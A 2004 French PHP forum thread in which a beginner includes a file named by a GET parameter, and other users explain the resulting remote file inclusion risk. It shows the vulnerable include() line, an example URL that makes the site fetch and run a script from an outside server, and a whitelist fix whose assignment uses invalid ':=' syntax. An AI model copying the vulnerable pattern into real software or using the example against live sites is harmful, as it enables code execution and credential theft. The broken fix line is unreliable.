Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1000 connectés 

  FORUM HardWare.fr
  Programmation
  PHP

  [PHP] pb de param passé en GET non initialisé

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

[PHP] pb de param passé en GET non initialisé

n°632468
gerardo
contains sulphites
Posté le 05-02-2004 à 17:40:59  profilanswer
 

salut,
 
bon, j'ai un ti pb tout con mais j'arrive pas à m'en débarrasser:
 
j'ai un site ou chaque lien d'un item du menu de la page index permet de faire afficher un include, via la methode GET. ex: lien de la rubrique news:

Code :
  1. gnagnagna.com/index.php?rubrique=news


je recupere la rubrique, pour faire du genre

Code :
  1. include($_GET['rubrique'].".php" );


 
Or, l'index.php affiche la rubrique news par défaut, mais pas moyen de me débarrasser de la notice "Notice: Undefined index: rubrique in ...", vu que le parametre a pas de valeur, qd je fait $_GET['rubrique'];
 
Est ce que quelqu'un saurait comment éviter çà, plz? :)


Message édité par gerardo le 05-02-2004 à 17:43:40
mood
Publicité
Posté le 05-02-2004 à 17:40:59  profilanswer
 

n°632521
antp
Super Administrateur
Champion des excuses bidons
Posté le 05-02-2004 à 18:00:47  profilanswer
 

if(isset($_GET['rubrique']))
  $rub = $_GET['rubrique'];
else
  $rub = 'default';


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
n°632547
gerardo
contains sulphites
Posté le 05-02-2004 à 18:35:43  profilanswer
 

merci antp :) je v tester çà, c'était tout con en fait :P. En fait je pensais que à partir du moment ou on fait un $_GET['...'] sur un param non défini, on se tape un "notice ...."

n°632556
antp
Super Administrateur
Champion des excuses bidons
Posté le 05-02-2004 à 18:54:29  profilanswer
 

Chaque fois qu'on lit sa valeur en fait


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
n°632585
Tentacle
Posté le 05-02-2004 à 19:09:55  profilanswer
 

Sans vouloir jouer au parano, tu devrais éviter ce genre de manip (le fait d'includer un fichier dont le nom est spécifié par argument) car par exemple si quelqu'un mets un script malveillant (du style pour récupérer tes identifiants) sur un serveur qui n'interprète pas le php, bah PHP va directement copier son code dans le tien et là ...
Exemple : gnagnagna.com/index.php?rubrique=http://toto.org/hello
(en remplaçant les derniers / par %xx) ton script récupèrera le script hello.php sur le serveur toto.org.
(parfois les serveurs ont allow_url_fopen désactivé mais on sait jamais)
Tu devrais faire un tableau clé=>valeur qui fasse le lien entre une valeur fournie en argument et le nom de fichier correspondant ce qui évitera les débordements

n°640724
gerardo
contains sulphites
Posté le 12-02-2004 à 17:43:26  profilanswer
 

ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme
temps je passe pas le nom complet en argument, mais ca peut-etre quand
meme un pb. Sans faire un tableau, ptet que si je rajoute des trucs
ensuite pour retomber sur le nom de fichier, ou un md5... enfin je v
voir, je débute, et puis ca sera pas un site critique; mais merci de
me pointer la faille :)

n°642409
Tentacle
Posté le 13-02-2004 à 20:42:45  profilanswer
 

gerardo a écrit :

ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme
temps je passe pas le nom complet en argument, mais ca peut-etre quand
meme un pb.


Même si tu ne donnes pas le nom complet, ça revient au même ;)
 

Citation :

Sans faire un tableau, ptet que si je rajoute des trucs
ensuite pour retomber sur le nom de fichier, ou un md5... enfin je v
voir, je débute, et puis ca sera pas un site critique; mais merci de
me pointer la faille :)


 
Le plus simple, je pense, c'est un tableau :
 

Code :
  1. $NameToFile = array (
  2.   'news'  => 'news.php',
  3.   'main'  => 'index.php',
  4.   'forum' => 'forum.php');


 
Ensuite tu fais :

Code :
  1. $rubrique := $_GET['rubrique'];
  2. if (isset ($NameToFile[$rubrique])) {
  3.   include ($NameToFile[$rubrique]);
  4. }


 
(le isset permettant de vérifier que le nom de rubrique fourni existe)
 
En plus, cela a un avantage assez intérressant : si tu modifies le nom d'une page (par exemple pour les news ...) ou son chemin d'accès, tu as juste à modifier ce tableau au lieu de devoir modifier toutes les pages ayant un lien vers elle.
 
 

n°643472
gerardo
contains sulphites
Posté le 15-02-2004 à 20:28:00  profilanswer
 

effectivement, c plutot pas mal, notamment pour les modifs ultérieures, je vais faire çà. Encore merci pour la leçon ;)


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  PHP

  [PHP] pb de param passé en GET non initialisé

 

Sujets relatifs
[PHP] Upload d'un fichier sous easyphp 1.7Site Web PHP Album Photo: considérations de conceptions...
Sérialisation JS --> PHP[PHP] Afficher date
[PHP] jpgraph et free , problème (à moitié résolu ! )ASP - PHP : effacer un fichier, pb de droits
[PHP] comment tester si une requête ne donne pas de résultateasy PHP
[PHP - MYSQL] Connexion difficile chez free :(Cadage de mot de passe
Plus de sujets relatifs à : [PHP] pb de param passé en GET non initialisé


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR